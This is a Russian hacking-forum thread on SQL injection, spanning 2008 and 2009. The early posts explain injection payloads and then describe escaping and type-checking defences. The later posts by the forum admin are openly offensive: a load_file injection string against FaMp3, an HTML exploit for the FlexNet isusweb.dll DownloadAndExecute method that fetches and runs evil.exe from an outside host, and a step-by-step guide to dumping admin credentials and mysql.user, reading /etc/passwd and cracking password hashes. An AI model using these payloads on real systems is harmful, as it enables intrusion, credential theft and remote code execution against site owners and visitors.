00:10
Обновить
SQL иньекция - Форум
| RSS



[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: aka_kludge, LeadyTOR  
Форум » ПрогрАммиРОванИе » ПроЧее » SQL иньекция (для новичков, просто для разьяснения ...)
SQL иньекция
LeadyTORДата: Среда, 16.01.2008, 12:37 | Сообщение # 1
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
Инъекция SQL (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Инъекция SQL, в зависимости от типа используемой СУБД и условий инъекции, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.

Атака типа инъекции SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.


Прелесная и пушистая. Но если разозлить то берегитесь.
 
LeadyTORДата: Среда, 16.01.2008, 12:40 | Сообщение # 2
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
Принцип атаки инъекции SQL

Допустим, серверное ПО, получив входной параметр id, использует его для создания SQL-запроса. Рассмотрим следующий PHP-скрипт:
...
$id = $_REQUEST['id'];
$res = mysql_query("SELECT * FROM news WHERE id_news = $id");
...

Если на сервер передан параметр id, равный 5 (например так: http://server.com/script.php?id=5 ), то выполнится следующий SQL-запрос:
SELECT * FROM news WHERE id_news = 5

Но если злоумышленник передаст в качестве параметра id строку "-1 OR 1=1" (например, так: http://server.com/script.php?id=-1+OR+1=1 ), то выполнится запрос:
SELECT * FROM news WHERE id_news = -1 OR 1=1

Таким образом, изменение входных параметров путём добавления в них конструкций языка SQL вызывает изменение в логике выполнения SQL-запроса (в данном примере вместо новости с заданным идентификатором будут выбраны все имеющиеся в базе новости, поскольку выражение 1=1 всегда истинно).

Внедрение в строковые параметры

Предположим, серверное ПО, получив запрос на поиск данных в новостях параметром search_text, использует его в следующем SQL-запросе (здесь параметры экранируются кавычками):

$search_text = $_REQUEST['search_text'];
$res = mysql_query("SELECT id_news, news_date, news_caption, news_text, news_id_author
FROM news WHERE news_caption = LIKE('%$search_text%')");

Сделав запрос вида http://server.com/script.php?search_text=Test мы получим выполнение следующего SQL-запроса:
SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news WHERE news_caption = LIKE('%Test%')

Но, внедрив в параметр search_text символ кавычки (который используется в запросе), мы можем кардинально изменить поведение SQL-запроса. Например, передав в качестве параметра search_text значение ')+and+(news_id_author='1, мы вызовем к выполнению запрос:
SELECT id_news, news_date, news_caption, news_text, news_id_author FROM news
WHERE news_caption = LIKE('%') AND (news_id_author='1%')


Прелесная и пушистая. Но если разозлить то берегитесь.
 
LeadyTORДата: Среда, 16.01.2008, 12:41 | Сообщение # 3
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
Использование UNION

Язык SQL позволяет объединять результаты нескольких запросов при помощи оператора UNION. Это предоставляет злоумышленнику возможность получить несанкционированный доступ к данным.

Рассмотрим скрипт отображения новости (идентификатор новости, которую необходимо отобразить, передается в параметре id):
$res = mysql_query("SELECT id_news, header, body, author FROM news WHERE id_news = " . $_REQUEST['id']);

Если злоумышленник передаст в качестве параметра id конструкцию -1 UNION SELECT 1,username,password,1 FROM admin, это вызовет выполнение SQL-запроса
SELECT id_news, header, body, author FROM news WHERE id_news = -1 UNION SELECT 1,username,password,1 FROM admin

Так как новости с идентификатором -1 заведомо не существует, из таблицы news не будет выбрано ни одной записи, однако в результат попадут записи, несанкционированно отобранные из таблицы admin в результате инъекции SQL.


Прелесная и пушистая. Но если разозлить то берегитесь.
 
LeadyTORДата: Среда, 16.01.2008, 12:41 | Сообщение # 4
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
Экранирование хвоста запроса

Зачастую, SQL-запрос, подверженный инъекции, имеет структуру, усложняющую или препятствующую использованию union. Например скрипт
$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");

отображает имя автора новости по передаваемому идентификатору id только при условии, что имя начинается с буквы а, и инъекция с использованием UNION затруднительна.

В таких случаях, злоумышленниками используется метод экранирования части запроса при помощи символов комментария(/* или -- в зависимости от типа СУБД).

В данном примере, злоумышленник может передать в скрипт параметр id со значением -1 UNION SELECT password FROM admin/*, выполнив таким образом запрос
SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')

в котором часть запроса ( AND author LIKE ('a%')) помечена как комментарий и не влияет на выполнение.

Расщепление SQL-запроса

Для разделения команд в языке SQL используется символ ; (точка с запятой), внедряя этот символ в запрос, злоумышленник получает возможность выполнить несколько команд в одном запросе.

Например, если в параметры скрипта
$id = $_REQUEST['id'];
$res = mysql_query("SELECT * FROM news WHERE id_news = $id");

злоумышленником передается конструкция, содержащая точку с запятой, например 12;INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo'); то в одном запросе будут выполнены 2 команды
SELECT * FROM news WHERE id_news = 12;
INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo');

и в таблицу admin будет несанкционированно добавлена запись HaCkEr.


Прелесная и пушистая. Но если разозлить то берегитесь.
 
LeadyTORДата: Среда, 16.01.2008, 12:42 | Сообщение # 5
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
Методика атак инъекций SQL

Поиск скриптов, уязвимых для атаки

На данном этапе злоумышленником изучается поведение скриптов сервера при манипуляции входными параметрами с целью обнаружения их аномального поведения. Манипуляция происходит всеми возможными параметрами:
Данными передаваемыми через методы POST и GET
Значениями [HTTP-Cookie]
HTTP_REFERER (для скриптов )
AUTH_USER и AUTH_PASSWORD (при использовании аутентификации)

Как правило, манипуляция сводится к подстановке в параметры символа одинарной (реже двойной или обратной) кавычки.

Аномальным поведением считается любое поведение, при котором страницы, получаемые до и после подстановки кавычек, различаются (и при этом не выведена страница о неверном формате параметров).

Наиболее частые примеры аномального поведения:
выводится сообщение о различных ошибках;
при запросе данных (например, новости или списка продукции) запрашиваемые данные не выводятся вообще, хотя страница отображается

и т. д. Следует учитывать, что известны случаи, когда сообщения об ошибках, в силу специфики разметки страницы, не отображаются в браузере, хотя и присутствуют в её HTML-коде.


Прелесная и пушистая. Но если разозлить то берегитесь.
 
LeadyTORДата: Среда, 16.01.2008, 12:47 | Сообщение # 6
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
Анализ инъекции

После того как выявлены скрипты, подверженные инъекции, начинается анализ, в результате которого будут выявлены:
примерный вид SQL-запроса, в котором происходит инъекция;
тип используемой СУБД, а также, возможно, версия СУБД.


Прелесная и пушистая. Но если разозлить то берегитесь.
 
LeadyTORДата: Среда, 16.01.2008, 12:48 | Сообщение # 7
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
Защита от атак инъекции SQL

Для защиты от инъекции SQL необходимо тщательно фильтровать входные параметры, значения которых будут использованы для построения SQL-запроса.

Фильтрация строковых параметров

Предположим, что код, генерирующий запрос (на языке программирования Паскаль), выглядит так:
statement := 'SELECT * FROM users WHERE name = "' + userName + '";';

Чтобы инъекция была невозможна, требуется брать в кавычки все строковые параметры. В само́м параметре заменяют кавычки на \", апостроф на \', обратную косую черту на \\ (это называется «экранировать спецсимволы»). Это можно делать таким кодом:
statement := 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ';';
function QuoteParam(s : string) : string;
{ на входе — строка; на выходе — строка в кавычках и с заменёнными спецсимволами }
var
i : integer;
Dest : string;
begin
Dest := '"';
for i:=1 to length(s) do
case s[i] of
'''' : Dest := Dest + '\'';
'"' : Dest := Dest + '\"';
'\' : Dest := Dest + '\\';
else Dest := Dest + s[i];
end;
QuoteParam := Dest + '"';
end;

Perl, PHP, Java, Delphi и другие языки, ориентированные на базы данных, имеют встроенные средства, автоматически выполняющие эту операцию:
на Delphi — свойство TQuery.Params;
на Perl — через DBI::quote или DBI::prepare;
на Java — через класс PreparedStatement;
на C# — свойство SqlCommand.Parameters;
на PHP (при работе с MySQL) — функции mysql_escape_string, mysql_real_escape_string, addslashes.
на Parser (ни при работе с SQL, ни с XML, ни с почтой) ничего делать не нужно, язык сам предотвращает атаки подобного рода.

Фильтрация целочисленных параметров

Возьмём другой запрос:
statement := 'SELECT * FROM users WHERE id = ' + id + ';';

В данном случае поле id имеет числовой тип, и его нельзя брать в кавычки. Поэтому «закавычивание» и замена спецсимволов на escape-последовательности не проходит. В таком случае помогает проверка типа; если переменная id не является числом, запрос вообще не должен выполняться.

Например, на Delphi для противодействия таким инъекциям помогает код:
id_int := StrToInt(id);
statement := 'SELECT * FROM users WHERE id = ' + IntToStr(id_int) + ';';

или
query.Params[0].AsInteger := StrToInt(id);

В случае ошибки функция StrToInt возбудит исключение EConvertError, и в его обработчике можно будет вывести сообщение об ошибке. Двойная конверсия (из числа в строку и обратно), выполняющаяся в первом фрагменте явно и во втором неявно, обеспечивает корректную реакцию на числа в формате $132AB (шестнадцатеричная система счисления). На стандартном Паскале, не умеющем обрабатывать исключения, код несколько сложнее.


Прелесная и пушистая. Но если разозлить то берегитесь.
 
LeadyTORДата: Среда, 16.01.2008, 12:49 | Сообщение # 8
Подполковник
Группа: Модераторы
Сообщений: 64
Награды: 0
Репутация: 4
Статус: Offline
ыхых Есть вопросы ?

Прелесная и пушистая. Но если разозлить то берегитесь.
 
aka_kludgeДата: Четверг, 17.01.2008, 09:05 | Сообщение # 9
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
Программа: FaScript FaMp3 1

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием show.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

SQL код для pconfig.php:

999999'%20union/**/select/**/0,1,2,3,4,5,6,7,8,9,10,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27, load_file(0x2e2f61646d696e2f70636f6e6669672e706870)/* */from/**/mysql.user/*

 
aka_kludgeДата: Четверг, 17.01.2008, 17:04 | Сообщение # 10
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
Программа: Macrovision FlexNet

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных в isusweb.dll в методе DownloadAndExecute. Атакующий может заманить пользователя на специально составленный сайт, что приведет к выполнению произвольного кода.

 
aka_kludgeДата: Четверг, 17.01.2008, 17:05 | Сообщение # 11
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
и сплойтик Масенький

<!--
Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit
Implemented Categories:
Category: Safe for Scripting
Written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6, isusweb.dll version 6.1.100.61372
-->
<html>
<head>
<title>Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit</title>
<script language="JavaScript" defer>
function Check() {
obj.DownloadAndExecute("Bla","{11111111-1111-1111-1111-111111111111}",0,"http://www.evilsite.com/evil.exe","evil.exe");

}

</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:1DF951B1-8D40-4894-A04C-66AD824A0EEF" height="0" width="0">
Unable to create object
</object>
</body>
</html>

 
aka_kludgeДата: Среда, 27.05.2009, 08:43 | Сообщение # 12
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
cool
 
aka_kludgeДата: Четверг, 29.10.2009, 21:10 | Сообщение # 13
Admin
Группа: Администраторы
Сообщений: 1058
Награды: 2
Репутация: 25
Статус: Offline
1. Поиск инъекции.
Для тренировки, у нас будет сайт www.test_wx_.ru.
Поиск проходит по принципу замены параметров, если нет фильтра то инъекция пройдёт.

Наш сайт www.test_wx.ru/news.php?id=212
Изменяем параметр для выявления инъекции.
www.test_wx.ru/news.php?id=-1
www.test_wx.ru/news.php?id=666666666666666666
www.test_wx.ru/news.php?id=212'
www.test_wx.ru/news.php?id=212-1
www.test_wx.ru/news.php?id=0=null

Если вы увидите ошибку сервера, например как эту "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1" или на подобии, то уязвимость существует.

2. Подбор полей.
Подбор полей третий по важности этап, для более быстрого подбора я использую order by, сейчас всё рассмотрим.

Найденная уязвимость www.test_wx.ru/news.php?id=212'

www.test_wx.ru/news.php?id=212+order+by+10--
или
www.test_wx.ru/news.php?id=212+order+by+10/*

Если столбцов меньше 10 то будет ошибка, таким образом быстрее всего подбирать столбцы, если их по 25))
Если есть фильтр, то можно так:
www.test_wx.ru/news.php?id=212 order by 10/*
Допустим у нас 5 столбцов, и при верхнем запросы выдаёт ошибку, то продолжаем подбор.
www.test_wx.ru/news.php?id=212+order+by+8--
Опять ошибка…
www.test_wx.ru/news.php?id=212+order+by+6--
Теперь нет ошибки, так как столбцов 5, то есть меньше 6.

Нам известно сколько столбцов, теперь используем union select, для поучения данных.
В конце мы ставим -- или /*, для того чтобы закомментировать последующий код, который нам не нужен.

www.test_wx.ru/news.php?id=212+union+select+1,2,3, 4,5--
1,2,3,4,5 это идёт пересчёт наших столбцов и заполнение их новыми данными.

По идеи если это не слепая инъекция то мы должны увидеть наши цифры на странице, если на странице много цифр типа 1,2,3... То можно ужесточить .

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555--
Так мы быстрее увидим их, или так:
www.test_wx.ru/news.php?id=212+union+select+null,n ull,null,null,null--

Так, нам известна SQL уязвимость www.test_wx.ru/news.php?id=212', нам известно что там 5 столбцов.

3. Получение данных.
Например при таком запросе www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555--, вы видите на странице наши цифры 3333, теперь можно вместо них увидеть полезные данные.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,version(),4444,5555--
version() Выводит версию mysql сервера.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,database(),4444,5555--
database() Выводит название текущей БД.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,USER(),4444,5555--
USER() Выводит имя текущего пользователя mysql.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,SESSION_USER(),4444,5555--
SESSION_USER() синоним USER().

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,SYSTEM_USER(),4444,5555--
SYSTEM_USER() синоним USER().

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,LAST_INSERT_ID(),4444,5555--
LAST_INSERT_ID() Значение AUTOINCREMENT колонки для последнего INSERT.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,LOAD_FILE('/etc/passwd'),4444,5555--
LOAD_FILE('/etc/passwd') Выводит указанный файл, только если права file_priv, и работает вроде только на win.

Так же рекомендую вам использовать функции из SQl concat(), или concat_ws(), они нужны для объединения строк.

Пример concat(version(),0x3a,database(),0x3a,user())
Выводит нечто похожее на 5.2.6:admin_cms:lolka
0x3a это двоеточие ":".

Давайте эту функции используем в нашем запросе.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,concat(version(),0x3a,database(),0x3a,user()), 4444,5555--
И мы видим теперь вместо одной версии, написано так же название БД и имя пользователя.

4. Подбор таблицы.
Это второй этап по важности.
Можно использовать словари, можно программы для авто перебора, но лучше ручками
Наш последний запрос www.test_wx.ru/news.php?id=212+union+select+1111,2 222,USER(),4444,5555--.

Будем использовать from table1.

Нам не известна таблица, известна в случаях если это популярная cms которую можно скачать и посмотреть по умолчанию.

Пишем запрос:
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+table1--
Видим ошибку....
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+user--
Опять видим ошибку... но не отчаиваемся, продолжаем подбирать....
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+users--
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+User--
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+Users--
Так как у нас файл news.php, то конечно вероятней всего название таблицы news.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+news--
Отлично!! Нам известна таблица news, но в ней нет важных данных для нас, поэтому мы остановимся на другом.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+admins--
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+admin--
Всё мы нашли важную таблицу admin, теперь нам остаётся узнать названия столбцов.
Чисто логически, часто используются следующие имена : id,name,user,users,login,pass,passw,passwd,passwor d и т.д.
Подбираем так:
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,user,4444,5555+from+admin--
Отлично, как не странно угадали сразу, видим имя администратора, продолжаем.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,password,4444,5555+from+admin--
Великолепно, теперь нам известен и пароль, давайте лучше с использованием функции concat.

www.test_wx.ru/news.php?id=212+union+select+1111,2 222,concat(user,0x3a,password),4444,5555+from+admi n--
И мы видим в удобной форме типа, garik:matrix.
Всё можно сказать всё сделано, инъекция найдена и прошла успешно, остаётся найти админку, ищите папки типа "admin/,aminka/,administrator/,admin.php,administr ator.php...."

Но нет, мы продолжим дальше

5. Взлом хэша.
Смотрим наш последний шаг,
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,concat(user,0x3a,password),4444,5555+from+admi n--
И мы видим в удобной форме типа, garik:matrix.

Но может мы увидим нечто похожее на garik:63a9f0ea7bb98050796b649e85481845
После двоеточия, это хэш.

Хеш-функция(Hash) - функция, выполняющая одностороннее преобразование входных данных, называемое также хешированием. Хеш-функция подбирается так,
чтобы вероятность появления различных данных с одинаковым хешем стремилась к нулю, а восстановить данные по их хешу было как можно труднее;

Чаще всего вам придётся видеть такие популярные хэши как md5,mysql,mysql5.
В данный момент расшифровать их нереально, по крайне мере нам с вами

Вы можете найти массу софта для подбора хэша, например:
http://www.google.ru/search?hl=ru&cl...A&lr=&aq=f&oq=
Но для подбора вам нужны будут очень большие словари, которые вы найдёте тут http://webxakep.net/forum/showthread.php?t=5,
или используйте Rainbow таблицы.

Так же, воспользуйтесь поисковиком по он-лайн сервисам:
http://webxakep.ru/download_programm...mysql_hash.php

Все остальные сервисы тут http://webxakep.net/forum/showthread.php?t=427.

Можете так же на PHP написать свой брутфорс, но он значительно медленнее чем системный)), в PHP функция md5().
То есть у вас есть хэш "63a9f0ea7bb98050796b649e85481845", пишите код типа:
$s="63a9f0ea7bb98050796b649e85481845";
if ($s==md5("root"))
echo "O_O yes";
Только надо добавить словарь, и можно многопоточность.

Если вы так и не смогли подобрать хэш типа MySql, MySql5 и т.п, то вам сюда http://webxakep.net/forum/showthread.php?p=6065.

6. Завершение.
Так же будет полезно посмотреть на таблицу mysql.user и её столбцы User + Password + нужны права.
www.test_wx.ru/news.php?id=212+union+select+1,conc at(User,0x3a,Password),3,4,5,6,7,8,9,10,11,12+from +mysql.user--

Если на сервере есть phpmyadmin, что чаще всего, то поищите в местах типа "/phpmyadmin/,/myadmin/,phpmyadmin.test_wx.ru,myad min.test_wx.ru....."

 
Форум » ПрогрАммиРОванИе » ПроЧее » SQL иньекция (для новичков, просто для разьяснения ...)
  • Страница 1 из 1
  • 1
Поиск:

Профиль
ИнформацияУправление
Сегодня: 19, 19.04.2024, 00:10
Вы используете: " v "
ВаШ внешний IP: "18.117.152.251"
У вас новых личных сообщений · Мой профиль | Выход




    Главная      
...
На службе : дней

00:10
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика